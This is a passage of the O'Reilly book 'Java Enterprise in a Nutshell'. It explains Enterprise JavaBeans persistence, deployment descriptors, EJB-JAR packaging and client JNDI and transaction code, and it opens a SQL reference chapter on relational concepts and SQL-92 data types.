    mFirstName = fname;
    mLastName = lname;
  }

  // Postcreation notification.  Nothing to do here, but we need
  // to provide an implementation.
  public void ejbPostCreate(String fname, String lname) {}

  // Business methods
  public String getFirstName() {
    return mFirstName;
  }

  public String getLastName() {
    return mLastName;
  }
}

We're going to focus on the bean implementation here; I leave it to you to sort out the home and remote interfaces for this bean. The PersonBean has two data members, representing the first and last name of the person. In comparison to our entity ProfileBean from earlier, this bean is much simpler, since the ejbRemove(), ejbLoad(), and ejbStore() methods are empty. We're going to let the container handle the loading and storing of the bean's data and the removal of any entities from the database, so we don't need to do anything about these operations in our bean implementation.

In order for an EJB container to manage the persistence of this bean, we need to tell it what data members should be stored persistently and where to store them in the database. We'll see some examples of container-managed data mappings in the section on deploying enterprise beans, but to give you a sense of how this works, here's the relevant section from a deployment descriptor file for BEA's WebLogic EJB server:

...
(persistentStoreProperties
  persistentStoreType    jdbc
  (jdbc
    tableName            PERSON
        . . .
    (attributeMap
      mFirstName         FIRST_NAME
      mLastName          LAST_NAME
    )
  )
)
...
containerManagedFields    [mFirstName mLastName]
primaryKeyClassName       PersonPK
...

In this part of the bean's deployment descriptor, we're telling the container that the mFirstName and mLastName members of the PersonBean are stored persistently, and that they should be stored in the FIRST_NAME and LAST_NAME columns of the PERSON table. We also have to tell the container which JDBC connection pool to use to connect to the database, but I've omitted those details for now.

We also need to tell the container the primary key class for our entity bean. In this case, it's the PersonPK class, which looks like this:

public class PersonPK implements java.io.Serializable {
  public String mFirstName;
  public String mLastName;

  public PersonPK() {
    mFirstName = null;
    mLastName = null;
  }
  public PersonPK(String fname, String lname) {
    mFirstName = fname;
    mLastName = lname;
  }
}

Since we're using container-managed persistence, the primary key class for our bean has to include members that match the corresponding members on the bean class. This allows the bean to map the key fields to bean fields automatically and to generate the default finder methods for the bean.

If you choose container-managed persistence for your bean, the EJB container generates all the ejbFindXXX() methods required for the finder methods on the home interface. It automatically generates an ejbFindByPrimaryKey() method, based on the data-mapping information you provide at deployment time. For any other ejbFindXXX() methods, you need to provide the container with a recipe for implementing the methods. The EJB 1.0 specification doesn't provide a standard format for specifying these additional finder methods for your bean, nor does it provide a means for you to specify some of the finder methods yourself in the bean implementation and leave the rest for the EJB container to implement. Some EJB providers allow you to provide code segments at deployment time for the finder methods, while other providers define a descriptive scripting language that allows you to describe the logic of the method implementation to the EJB container. In either case, the container takes this information and creates implementations for the finder methods. These finder methods are located within one of the support classes it generates, usually in a generated subclass of your home interface.

As an example, suppose we want to have a finder method for our PersonBean class called findFreds() that finds all the people whose first name starts with "Fred." BEA's WebLogic server specifies a syntax for describing the logic of a finder method in the bean's deployment descriptor file. The segment of the descriptor that describes this finder method for a WebLogic server might look like this:

(finderDescriptors
  "findFreds()" "(like mFirstName Fred%)"
)

If you are implementing an entity bean with many complicated finder methods, or if you are concerned with your bean being easily portable between EJB server providers, you may want to shy away from container-managed persistence and stick with managing the persistent data yourself. With some EJB providers, you may find that the format they provide for describing finder methods is too limited for your purposes. And deploying the bean in different EJB servers means porting the descriptions of your finder methods from server to server, which defeats the purpose of writing to a distributed component standard.

If your EJB object is using container-managed persistence, the container is handling the loading and storing of persistent data. You still can provide ejbLoad() and ejbStore() methods on your bean implementation, however. The ejbLoad() method is called just after the container has loaded the specified data fields from persistent storage into your data members, and ejbStore() is called just before the container writes your data members to persistent storage. If there is any conversion or bookkeeping you need to handle, you can do that in these methods.

Container-managed beans also rely on the container to create and remove the entities they represent from persistent storage. The bean can still provide ejbCreate() and ejbRemove() methods, however. The appropriate creation method is called just before the container creates the required records for the new entity in the database. The bean can use these methods to initialize any data members the container accesses while creating the records. The container also invokes the bean's ejbRemove() method just before the container removes the necessary records from persistent storage. This lets you do any cleanup before the entity is removed.

7.6.7.1. Handling complex data structures

Each EJB container is limited to some degree in the way that data on your bean implementation can be mapped into persistent data fields. There is no standard format defined for the data mapping the container supports, so it's possible a particular EJB provider won't support whatever complicated mapping you require for your bean. For the most part, however, you can expect EJB providers to limit the format to a single persistent data field being mapped to a single data member on your bean implementation. If the data structures on your bean are too complicated for you to provide an explicit mapping to persistent data fields, you have to decide how to deal with this.

In our entity ProfileBean example, we've stored the profile entries in a Properties object. We don't know at deployment time how many entries there will be, so we can't enumerate a mapping to database fields. We really want each entry in the Properties object to be stored in the PROFILE_ENTRY table in our database, along with the name of the owner of the entry, which is exactly how we implemented our bean-managed implementation in Example 7-9.

One option is to give up on container-managed persistence and manage it yourself in the bean implementation. Another is to make each entry in the profile its own bean and store the entries in a list on the profile bean. This would probably turn out to be too expensive in terms of interactions with the container and memory, however. Each entry in the profile would need to be managed separately by the container, with all of the relevant lifecycle notifications.

Another option is to serialize your data structures into individual data members on your bean and allow the container to read/write the serialized bytes to database fields as binary data. In our entity ProfileBean example, rather than using the PROFILE and PROFILE_ENTRY tables we used in the bean-managed version, we can define a single table to hold the name of the profile owner, along with the serialized bytecodes for the Properties object that represents the profile entries. We can then use the ejbStore() method on our bean to convert the Properties object to an array of bytes:

public void ejbStore() throws RemoteException {
  try {
    ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(byteOut);
    objOut.writeObject(mEntries);
    mEntriesBytes = byteOut.toByteArray();
  }
  catch (Exception e) {
    throw new RemoteException("ejbStore failed: ", e);
  }
}

After the container calls our ejbStore() method, it can write the mEntriesBytes data member on our bean to a raw data field in the database (e.g., a LONG BINARY field in a SQL database). On the reading end, we can use the ejbLoad() method to convert the bytes loaded by the container to the mEntriesBytes data member into a Properties object:

public void ejbLoad() throws RemoteException {
  try {
    ByteArrayInputStream byteIn = new ByteArrayInputStream(mEntriesBytes);
    ObjectInputStream objIn = new ObjectInputStream(byteIn);
    mEntries = (Properties)objIn.readObject();
  }
  catch (Exception e) {
    throw new RemoteException("ejbLoad failed: ", e);
  }
}

This workaround allows us to deploy our entity ProfileBean with container-managed persistence, but it makes our database records unusable for other, non-Java applications. There's no way, for example, to check on a user's profile entries using a simple SQL query.

Previous | Home | Next
7.5. Implementing Session Beans | Book Index | 7.7. Deploying an Enterprise JavaBeans Object
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Deploying an Enterprise JavaBeans Object (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.7. Deploying an Enterprise JavaBeans Object

Once you've written the home and remote interfaces and the implementation of your enterprise bean, you need to deploy your beans in an EJB container, which involves the following steps:

  1. Specifying the various deployment options for your bean, using the deployment tools provided by the EJB container. These options include transaction support options, access control settings, and data mappings (for container-managed entity beans).

  2. Using the container-provided tools to create a serialized deployment descriptor, which bundles up your deployment options into a single serialized object.

  3. Generating the container-specific classes, as shown in Figure 7-2.

  4. Optionally packaging your enterprise beans into an EJB-JAR file.

As shown in Figure 7-2, the EJB container generates a set of classes that deploy your EJB object. It's up to the EJB container to provide a tool or tools for generating these classes. Some may be command-line tools that accept some sort of properties file that tells the EJB container about your bean, while others may be GUI tools that let you control the deployment options of your bean using a visual interface. Regardless of the deployment/generation tool your EJB application server provides, it needs to be told the fully qualified names for the home and remote interfaces for your EJB object and for the bean implementation class. It also needs to be told how to deploy your bean, in terms of transaction support, client access to features of your bean, and management of the persistent data (if any) associated with your bean. The baseline information and options needed for deploying your enterprise bean are as follows:

Bean implementation class and interfaces

The fully qualified names of your bean implementation class and the home and remote interfaces for your bean.

Bean type

Is the bean a session or entity bean? If it is a session bean, is it stateful or stateless? If it is an entity bean, is its persistence bean-managed or container-managed?

JNDI name for home interface

The name under which the home interface for the bean is exported through JNDI by the server. Clients use this name to look up the home interface.

Transaction support attribute

The level of transaction support required by the bean. Specify one of the values described earlier in the chapter.

Transaction isolation level

The level of transaction isolation required by the bean. Specify one of the values described earlier in the chapter.

Access control attributes

Which remote identities should have access to the methods on your bean? What identity should your bean assume when it accesses resources (a database, other EJB objects, etc.)?

Session time-out (session beans only)

The maximum lifetime for a session bean.

Database/member mapping (container-managed entity beans only)

The data members on your bean that need to be stored persistently and their corresponding database fields.

Reentrant flag (entity beans only)

Is your bean implementation reentrant (i.e., can the bean's methods make loopback calls to themselves, directly or through other bean methods)? This property is always false for session beans.

Primary key class (entity beans only)

The fully qualified name of the class that serves as the primary key for your entity bean.

Environment variables

Miscellaneous environment properties, either EJB server-specific or bean-specific, that are provided to the bean in its EJBContext.

Some EJB containers may expand on this baseline list to include properties they need for extended services they may provide or additional controls they provide to supplement the basic EJB deployment options.

All these deployment properties are represented as publicly accessible properties on the DeploymentDescriptor, SessionDescriptor, and EntityDescriptor classes in the javax.ejb.deployment package. If you want to create an EJB-JAR package for your bean, the EJB server tools typically allow you to bundle your deployment options into an instance of either the SessionDescriptor or EntityDescriptor class and serialize the object to a file to be included in the EJB-JAR file as the bean's deployment descriptor. See the later section "Packaging Enterprise Beans" for more details.

At the time of this writing, the released EJB specification doesn't include a standard format for deployment descriptor files. The EJB 1.1 public draft includes an XML-based deployment descriptor schema, but until the 1.1 specification is released and this standard deployment descriptor file format is widely supported, you need to deal with the vendor-specific formats currently provided by each EJB server. Currently, the only way to provide a portable deployment descriptor for your enterprise bean is to do the work of the server deployment tools yourself. To do this, you have to write some Java code that creates an instance of the appropriate DeploymentDescriptor subclass, fills in the properties on this object, and then serializes the descriptor object to a file. If you need to do this, refer to Chapter 20, "The javax.ejb.deployment Package" for details on DeploymentDescriptor and its subclasses. For the examples that follow, however, I'm going to show snippets of deployment descriptor files for a particular EJB server, BEA's WebLogic application server.

7.7.1. Container-Managed Data Mapping

If you are deploying an entity bean with container-managed persistence, you need to tell the EJB container which fields on your bean implementation are persistent and how to map them to persistent storage. For example, suppose we are deploying our entity ProfileBean, using container-managed persistence. Let's assume that we've made the modifications to our bean implementation we discussed in the section "Container-Managed Persistence." In other words, we've created a table called PROFILE_BYTES with a single LONG BINARY column named DATA to hold our serialized Properties object. Now we simply have to tell the container that the mEntriesBytes member on our modified ProfileBean is mapped to the DATA column on the PROFILE_BYTES table, with an entry in a textual deployment options file like this example shown for BEA WebLogic server:

(persistentStoreProperties
  persistentStoreType    jdbc
  (jdbc
    tableName            PROFILE_BYTES
      ...
    (attributeMap
      mName              NAME
      mEntriesBytes      DATA
    )
  )
)
...
containerManagedFields   [mName mEntriesBytes]

Based on these mappings, the EJB container generates all of the necessary JDBC calls in its generated classes.

7.7.2. Access-Control Deployment Attributes

There are precious few details in the EJB 1.0 specification about support for security in EJB containers, but there is a construct provided for you to specify certain access control levels at deployment time.

Essentially, the EJB server should provide some means for mapping a client-provided identity (in the form of a java.security.Identity object) to a named user or role on the EJB server itself. Then you, the bean provider, can specify which users and/or roles can access each method on your bean. The EJB server allows you to specify access control levels in some server-specific way (ideally, using the same deployment tools as the other deployment attributes). There should be a way to specify access for the entire bean, as well as for individual methods. Any method without an access-control entry assumes the access level of the bean as a default. So, for the various versions of our ProfileBean, we might want to allow anyone to get profile entries off of the bean, but only allow profile administrators (users or applications) to set profile entries. We might do this by specifying access-control entries such as:

(accessControlEntries
  DEFAULT                    [everyone]
  "setEntry(String, String)" [profileAdmin]
)

This allows any user who identifies himself as profileAdmin to invoke the setEntry() method on the ProfileBean, while all other remote methods on the bean are accessible to everyone.

As a step towards standardizing the specification of client identities to the EJB server, there is a proposal being considered by various EJB providers that involves the use of a reserved JNDI name entry to hold the client's identity. The client would provide an Identity object to the EJB server as the value of the Context.PROVIDER_IDENTITY property, passed in when the client creates its initial JNDI naming context from the server. This issue should be settled in an upcoming update to the EJB specification.

In addition to specifying client access rules for your bean, you need to specify to the EJB server what identity your bean should assume when it accesses controlled resources, such as other EJB objects and databases. This is done using two deployment properties: run-as-mode and run-as-identity. The run-as-mode property indicates whether the bean should assume the identity of the client that invoked it (CLIENT_IDENTITY), the identity of some system-defined account (SYSTEM_IDENTITY), or the identity of some other specific user account (SPECIFIED_IDENTITY). The SYSTEM_IDENTITY option causes the EJB server to use a platform-specific privileged account. A server may use the root account on Unix systems or the Administrator account on Windows NT systems, for example. Some EJB servers may use the account that runs the server when the SYSTEM_IDENTITY is specified. The run-as-identity property is used when run-as-mode is set to SPECIFIED_IDENTITY. The identity given in the run-as-identity property is the identity the bean assumes when accessing system resources and other beans.

The run-as-mode and run-as-identity attributes are settable at the bean level or at the individual method level, in the same way client access levels are applied. If you set these attributes for specific methods on your bean, that means you want those methods to be executed using the specified identity for access-control purposes. There are some restrictions imposed by the EJB specification, however. Within a single transaction, all methods invoked on your bean must be run with the same identity. If a client transaction attempts to execute methods you've deployed with different access-control identities, the server throws an RMI RemoteException to the client. If your bean is a stateful session bean, all methods executed during a session lifetime must be the same. If a client attempts, within the same session, to execute methods on your bean that have different access-control identities associated with them, the EJB server throws an RMI RemoteException.

7.7.3. Generating the Container Classes and Deployment Descriptor

Once you've specified all the deployment options for your bean, the container provides a utility for converting these deployment properties to a serialized deployment descriptor. This deployment descriptor is a serialized instance of either the EntityDescriptor or SessionDescriptor class from the javax.ejb.deployment package. The container tools store all the deployment options you specified into an instance of one of these classes, depending on what type of bean you're deploying, and serialize the object to a file you specify, one for each type of bean that you are deploying. You can then use these deployment descriptors to package your enterprise beans into EJB-JAR files, as described a bit later.

In addition to the deployment descriptor, you also need to use the EJB container's tools to generate the container-specific classes that deploy your bean, as shown in Figure 7-2. In order to generate these classes, the container tools need to take into account your deployment options. If you're deploying an entity bean, for example, the tool needs to know whether the bean uses container-managed persistence or not, so that the tool knows whether it needs to include JDBC code for the bean in its generated classes. The container tools typically allow you to specify where to generate the deployment classes.

Once you have your compiled interfaces and bean implementation class, the deployment descriptor, and the container-generated classes for your bean, you're ready to package your bean in an EJB-JAR file.

7.7.4. Packaging Enterprise JavaBeans

EJB-JAR files are the standard packaging format for Enterprise JavaBeans. They are normal Java archive (JAR) files, created using the standard jar utility, but they contain specific files that provide all the information needed for an EJB container to deploy the beans that are contained in the EJB-JAR file. An EJB-JAR file can contain one or many beans.

An EJB-JAR file contains three components:

  • The class files for each bean, including their home and remote interfaces, and the bean implementations.

  • A deployment descriptor, in the form of a serialized instance of either the EntityDescriptor or SessionDescriptor classes from the javax.ejb.deployment package.

  • A manifest file, located in the file META-INF/MANIFEST.MF within the JAR file, with a section for each bean that names its deployment descriptor within the JAR file.

The manifest file is a simple text file, with sections delimited by blank lines. Each section has name/value pairs. The name starts the line, followed by a colon, followed by the value. EJB-JAR files define two tags: "Name" and "Enterprise-Bean". The Name line specifies the serialized deployment descriptor for an enterprise bean, while Enterprise-Bean marks the section as relevant to the EJB server and always has a value of "True". Here's a typical manifest file that might be used for an EJB-JAR file that contains a few of our bean examples:

Name: jen/ejb/stateless/ProfileServerBeanDD.ser
Enterprise-Bean: True

Name: jen/ejb/entity/beanManaged/ProfileBeanDD.ser
Enterprise-Bean: True

This manifest file describes two enterprise beans. The EJB-JAR file that contains this manifest must contain the two serialized deployment descriptors named in the manifest file, all class files specified in the deployment descriptors for the beans, and all container-generated classes for deploying the bean.

An EJB-JAR file contains everything an EJB container needs to deploy your bean. The container reads the manifest file and, for each bean specified, loads the serialized deployment descriptor and checks its parameters. The container looks in the JAR file for the class files needed for the bean and deploys the bean using the additional parameters specified in the deployment descriptors.

Some EJB container/server providers include a utility to facilitate the creation of EJB-JAR files from your bean classes. It's a simple matter, however, to create one using the standard jar utility provided with nearly every Java SDK implementation. Assuming that you have created a manifest file, such as the one shown earlier, in a file named ProfileManifest.txt, you can create an EJB-JAR file for the previous two beans with the following command:

% jar cmf ProfileManifest.txt ProfileBeans.jar\
jen/ejb/stateless jen/ejb/entity/beanManaged

This command creates an EJB-JAR file named ProfileBeans.jar in the current directory. The jar utility automatically places the manifest file in the proper location in the JAR file for you. Note that we're assuming that the subdirectories we've included in the JAR file contain both the class files we need and the serialized deployment decriptors mentioned in the manifest file.

Previous | Home | Next
7.6. Implementing Entity Beans | Book Index | 7.8. Using an Enterprise JavaBeans Object
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using an Enterprise JavaBeans Object (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.8. Using an Enterprise JavaBeans Object

So far, we've seen how to write an enterprise bean and how to deploy it through an EJB container. Now let's look at how you use an enterprise bean as a client.

7.8.1. Finding Home Interfaces Through JNDI

Once an enterprise bean is deployed within an EJB container, the home interface for the bean has been exported under a particular name using JNDI. As a client, you need to know how to connect to the JNDI context of the remote EJB server, and you need to know the name for the bean home interface you're interested in. A typical way to connect to the JNDI naming context is to specify the initial context factory for JNDI and create a new naming context through it (for more details, see Chapter 6, "JNDI"):

Hashtable props = new Hashtable();
// Specify the context factory for our EJB server
props.put(Context.INITIAL_CONTEXT_FACTORY,
          "my.ejb.server.context.factory");
// Specify the URL for the context provider, if any
props.put(Context.PROVIDER_URL, "my.server.jndi.url");
// Trying looking up the context
javax.naming.Context ctx = null;
try {
  ctx = new javax.naming.InitialContext(props);
}
catch (NamingException ne) {
  System.out.println("Failed to create JNDI context from EJB server");
}

In this example client, we make a Hashtable that contains two standard JNDI properties, the INITIAL_CONTEXT_FACTORY and PROVIDER_URL properties. These property names are String constants defined on the javax.naming.Context interface, whose values are "java.naming.factory.initial" and "java.naming.provider.url", respectively. You can use the explicit string values if you prefer, but the constant values are provided by the Context interface as a convenience, since they're a bit easier to remember. The value of INITIAL_CONTEXT_FACTORY is the class name for a context factory, provided by your JNDI provider (the EJB server, in this case), and PROVIDER_URL is a URL used to connect remotely to the JNDI server running within the EJB server. The proper values for both of these items should be provided by your EJB application server provider.

You can also specify the security principal under which you want to interact with the EJB/JNDI server, by including the Context.SECURITY_PRINCIPAL property in the call to create your naming context. This property value should be a java.security.Identity object that represents the identity of your client:

Hashtable props = new Hashtable();
// Initialized other connection properties...
java.security.Identity id = . . .;
props.put(Context.SECURITY_PRINCIPAL, id);
javax.naming.Context ctx = new javax.naming.InitialContext(props);
...

Some EJB server providers use this identity in determining access to bean features, as specified in the bean deployment descriptors. The EJB 1.0 specification doesn't provide a standard for providing this identity, however, so check the documentation on your EJB server for specific details. For more details on accessing remote JNDI servers, see Chapter 6, "JNDI".

Now that we have a JNDI naming context from the EJB server, we can look up the home interface for the bean we're interested in:

ProfileHome pHome = null;
try {
  pHome =
    (ProfileHome)ctx.lookup("jen.ejb.entity.beanManaged.ProfileHome");
}
catch (NamingException ne) {
  System.out.println("Failed to lookup home for ProfileBean.");
}

In this case, we've assumed that the bean provider has deployed its home interface on the EJB server under the name "jen.ejb.entity.beanManaged.ProfileHome". With the home interface stub, our client can now create or find beans located on the server.

7.8.2. Creating/Finding Beans

The home interface for the bean contains methods that allow a client to create new beans or find existing beans (for entity beans). Continuing our example client, assuming we're using our entity ProfileBean from Example 7-9 and its corresponding home interface, we can create a new ProfileBean and get a stub reference to it as follows:

Profile profile = null;
try {
  profile = pHome.create("Kaitlyn");
}
catch (DuplicatePersonException dpe) {
  System.out.println("Profile already exists for Kaitlyn.");
}
catch (RemoteException re) {
  System.out.println("Remote exception while creating profile.");
}

Here we're trying to create a new profile for someone named "Kaitlyn". We're using the create() method defined on our ProfileHome interface, which we've declared to throw RemoteException and our own DuplicatePersonException. In the client, we catch each of these exceptions and print a corresponding error message if it occurs.

Now, if we thought a profile already existed for Kaitlyn, we could try finding it in persistent storage first, using one of the finder methods on our home interface:

try {
  profile = pHome.findByPrimaryKey(new ProfilePK("Kaitlyn"));
}
catch (FinderException fe) {
  System.out.println("No profile found for Kaitlyn.");
}
catch (RemoteException re) {
  System.out.println("Remote exception while finding profile.");
}

If we weren't sure whether a profile for Kaitlyn had been created or not, we could try finding it first, using the code above, then create one if needed:

if (profile == null) {
  // Create profile as before ...
}

7.8.3. Using Client-Side Transactions

I mentioned before that you can specify at deployment time how your bean handles transactions, using one of the transaction attributes we already discussed. On the client-side, you can use the Java Transaction API (JTA) to create your own transaction boundaries. These transactions are taken into account, along with the bean's transaction-handling attributes, by the EJB container, to determine which transaction context to put the bean into for each remote method call your client makes. Again, a complete description of the JTA is beyond the scope of this chapter, but it's useful to take a quick look at how to create your own client transactions.

Continuing the example client we've been working with in this section, we've already found the home interface for the ProfileBean and created/found a Profile for Kaitlyn. Now we want to make some changes to Kaitlyn's profile, but we want to make sure that all our changes are made before we commit them. To do this, we create our own "javax.transaction.UserTransaction"[5] and either commit it or roll it back, depending on whether we get an exception while setting the profile entries:

[5]Note that shortly after the EJB 1.0 specification was released, the name of the (then beta) JTA was changed, so that javax.jts.UserTransaction became javax.transaction.UserTransaction. I'm using the new class name here, but keep in mind that you might see the old package names in the EJB 1.0 documentation from Sun.

javax.transaction.UserTransaction xact =
  (UserTransaction)jndiCtx.lookup("javax.transaction.UserTransaction");

xact.begin();
try {
  profile.setEntry("username", "kschmitz");
  profile.setEntry("password", "foobar");
  profile.setEntry("interestGroups", "dogs:cartoons:napping");
  xact.commit();
}
catch (RemoteException re) {
  xact.rollback();
}

We acquire the transaction from whatever transaction provider we're using on the client side. Here, we assume that we've retrieved a "JNDI context" from the EJB server and use it to look up an instance of "javax.transaction.UserTransaction" that the EJB server provides. When we use this transaction object, the EJB server can manage the transaction around calls to enterprise bean methods. We begin the transaction before starting our profile update. We make our updates to Kaitlyn's profile, and, if successful, we commit the transaction. If we get an exception from the EJB server along the way, we rollback our changes by calling rollback() on the transaction.

If the ProfileBean was deployed with a transaction attribute of TX_SUPPORTS, TX_REQUIRED, or TX_MANDATORY, the EJB container should execute the bean methods within our client transaction context. The corresponding database updates are committed to the database when we commit() our transaction or rolled back if we rollback() our transaction. The bean does not need to know anything about the transaction boundaries, even if it is managing its own persistence. The EJB container manages the association between the client-specified transaction boundaries and the JDBC transactions initiated by the bean implementation.

Previous | Home | Next
7.7. Deploying an Enterprise JavaBeans Object | Book Index | 7.9. Changes in EJB 1.1 Specification
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Changes in EJB 1.1 Specification (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.9. Changes in EJB 1.1 Specification

Shortly before publication of this book, Sun released a public draft of Version 1.1 of the EJB specification. In this incremental release, Sun tightened up a few areas, changed its scheme for deployment descriptors, and made various other updates to the specification. The major updates are described below, followed by a short laundry list of the more significant changes.

7.9.1. XML-Based Deployment Descriptors

In EJB 1.1, the javax.ejb.deployment package is deprecated, and deployment descriptors for enterprise beans are composed using XML, instead of serialized DeploymentDescriptor objects. In the XML DTD defined in EJB 1.1, there's a clear separation of information regarding the structure of the enterprise bean(s) from information regarding the use of the beans in a particular application. The structural information for an enterprise bean includes components such as its various classes, environment variables the bean recognizes, and the container-managed fields (for entity bean). Application-specific information includes, for example, values for environment variables, the various client roles that are used for controlling access to beans, and permission settings for these various roles.

Similar to the deployment descriptors defined in EJB 1.0, these XML-based deployment descriptors are intended to include only structural information when a bean provider ships a collection of enterprise beans to application developers, and both structural information and application-specific information when an application provider ships an EJB-based application to an application deployer. The separation of these two types of information in the XML deployment descriptor makes this process more straightforward than under EJB 1.0.

The XML deployment descriptor for a set of enterprise beans can be provided separately or as part of an EJB-JAR file. In an EJB-JAR file, the deployment descriptor must be in the file META-INF/ejb-jar.xml.

7.9.2. Entity Beans Required

In EJB 1.0, support for entity beans was optional for compliant EJB servers. In EJB 1.1, all compliant servers must provide support for entity beans.

7.9.3. Home Handles

EJB 1.1 adds a new HomeHandle interface and a getHomeHandle() method on the EJBHome interface. A HomeHandle is a serializable reference to a home interface for an enterprise bean, analogous to the Handle interface, which represents a serializable reference to an EJB object. This allows a client to get a handle for a home interface and serialize it to some persistent storage, like a filesystem or database. The serialized HomeHandle can be deserialized later (in the same or another Java VM) and used to acquire a reference to the same home interface.

7.9.4. Detailed Programming Restrictions for Bean Implementations

EJB 1.1 lists detailed restrictions on what an enterprise bean implementation should avoid in its business methods in order to be portable across different EJB servers. These include rules against using sockets, creating class loaders, and including writable static fields on EJB implementation classes.

7.9.5. Assorted Other Changes

In addition to changes already listed, the following are some of the more significant updates introduced in the EJB 1.1 specification:

  • Finder methods on entity beans can now return java.util.Collection types from Version 1.2 of the Java 2 platform.

  • Entity bean primary keys can now be java.lang.String objects.

  • All ejbCreate() methods on entity beans, including those with container-managed persistence, must now return the bean's primary key type. Previously, container-managed entity beans had ejbCreate() methods that returned null, and bean-managed beans returned their primary key type. With this change, a container-managed bean can implement ejbCreate() methods that return null, and this bean can optionally be subclassed to define a bean-managed bean that returns an actual primary key.

  • All EJB clients should use the narrow() method on the javax.rmi. PortableRemoteObject interface in order to cast remote and home object interfaces for enterprise beans. This guarantees that clients will be compatible with EJB servers that use RMI-IIOP for exporting enterprise beans.

Previous | Home | Next
7.8. Using an Enterprise JavaBeans Object | Book Index | Part 2. Enterprise Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL Reference (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 8. SQL Reference

Contents:

Relational Databases
Data Types
Schema Manipulation Commands
Data Manipulation Commands
Functions
Return Codes

There are dozens of different database management systems on the market today, from nearly as many vendors. Developing applications that are more or less database independent requires a standardized interface to the underlying data. Since the early 1980s, this interface has been SQL, a sophisticated database manipulation language.[1]

[1] The acronym expands out to either Structured Query Language (based on the original IBM acronym from the 1970s) or Standard Query Language (which has been more popular in recent years). Perhaps because of this confusion, most people just say SQL, pronounced either see-quell or ess-cue-ell.

Unlike Java, SQL is a declarative language. It allows users to specify particular actions on the database and retrieve the results of those actions. It specifies a set of standardized data types and standard error messages, but it lacks procedural constructs. There are no conditionals or loops standard in SQL.

There are several versions of the SQL standard. SQL-86 and SQL-89 have been superceded by SQL-92, which is supported by most database vendors, although there are a number of platform-specific variations. Many databases also include additional data types, operators, and functions beyond those specified in the SQL-92 standard. In addition, there are three levels of SQL-92 conformance: entry-level, intermediate, and full. Many products support only the entry-level SQL-92 standard, leaving out some advanced features. JDBC drivers are supposed to provide entry-level functionality and, for the most part, they do.

This chapter presents a brief introduction to the structure of a relational database system and a quick reference to the most commonly used SQL commands. The complete set of SQL commands is simply too large to cover here: even a concise SQL reference can run to several hundred pages. I have endeavored to provide the information that most client-side programmers need. For a complete introduction to most aspects of SQL, I highly recommend SQL Clearly Explained by Jan Harrington (AP Professional).

8.1. Relational Databases

Data storage and retrieval are two of the biggest tasks facing most enterprise applications. There are lots of ways to store data on a disk, but for large-scale applications a relational database management system (RDBMS) is far and away the most popular choice.

Data in an RDBMS is organized into tables, where these tables contain rows and columns. You can think of an individual table as a spreadsheet with a little more organization: column data types are fixed and there may be rules governing the formatting of each column. This alone is enough for a database system (plain DBMS). A relational database system has one other key attribute: individual tables can be related based on some common data. Figure 8-1 shows three tables in a relational structure. The CUSTOMERS table is related to the ORDERS table based on the CUSTOMER_ID field, and the ORDERS table is related to the ITEMS table based on the ORDER_ID field. SQL provides a standardized means of accessing the data in tables and working with the relationships between tables.

Figure 8-1. Three related tables

The highest-level organizational concept in an RDBMS system is a cluster.[2] A cluster contains one or more catalogs, which are usually the highest-level object a programmer ever has to deal with. A catalog contains a group of schemas. A schema contains a group of tables and other objects and is generally assigned to a particular application or user account. Generally, the database administrator is responsible for dealing with clusters and catalogs. Most users work within a particular schema.

[2] The naming comes from the older SQL standards, where a cluster represented physical storage space. This is no longer the case, but the name persists.

To reference a table within a particular schema, separate the schema name and the table name with a dot:

schema_name.table_name

To reference a particular column within a particular schema:

schema_name.table_name.column_name

To set a particular schema as the default, use the SET SCHEMA SQL statement:

SET SCHEMA schema_name

When you log into a database, you are generally assigned a default schema. When accessing tables within the default schema, you may omit the schema name.

When creating new objects, the names you assign to them must be unique within the schema. SQL-92 allows names up to 128 characters, including letters, numbers, and the underscore ( _ ) character.

Previous | Home | Next
Part 2. Enterprise Reference | Book Index | 8.2. Data Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Types (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

8.2. Data Types

Each column in a table has a particular data type associated with it. SQL-92 defines a fairly broad set of data types. Different RDBMS packages provide extensions to these basic types, for multimedia data, Java objects, and so on. Oracle's NUMBER data type, for instance, allows database designers to specify the exact precision of integer and floating point data types. The basic SQL-92 types are listed in Table 8-1. The names in parentheses are SQL-92 specified alternates for the main type names.

Table 8-1. SQL-92 Data Types

SQL Data Type | Description
INTEGER (INT) | A signed integer value. The number of bits represented is implementation-dependent.
SMALLINT | A smaller signed integer value, used when storage or memory is at a premium. Generally 8 bits, but implementation-dependent.
NUMERIC | A signed fixed-precision decimal. When creating a NUMERIC, you must specify the total length of the number (including the decimal point) and the number of decimal places. NUMERIC(8, 4) allows three digits, a decimal point, and four more digits.
DECIMAL | Defined the same way as a NUMERIC, but may store additional precision (more decimal places).
REAL | A single-precision floating-point value. Range and accuracy are implementation-dependent.
DOUBLEPRECISION (DOUBLE) | A double-precision floating-point value. Range and accuracy are implementation dependent, but are equal to or better than a REAL.
BIT | A fixed number (one or more) of bits. A length specifier (BIT(n)) is optional. The default size is 1 bit.
BITVARYING | Storage for up to n bits (BIT VARYING (n)). Many databases have alternate implementations of this data type, such as Oracle's VARBINARY.
DATE | A date value (day, month, and year).
TIME | A time value. Precision is implementation-dependent.
TIMESTAMP | A date and time.
CHARACTER (CHAR) | A fixed-length character string. Specified as CHAR(n). Unused characters are padded with blanks. The default size is 1.
CHARACTERVARYING (VARCHAR) | A variable length string, up to size n. Specified as VARCHAR(n).
INTERVAL | A date or time interval. Not directly supported by JDBC.

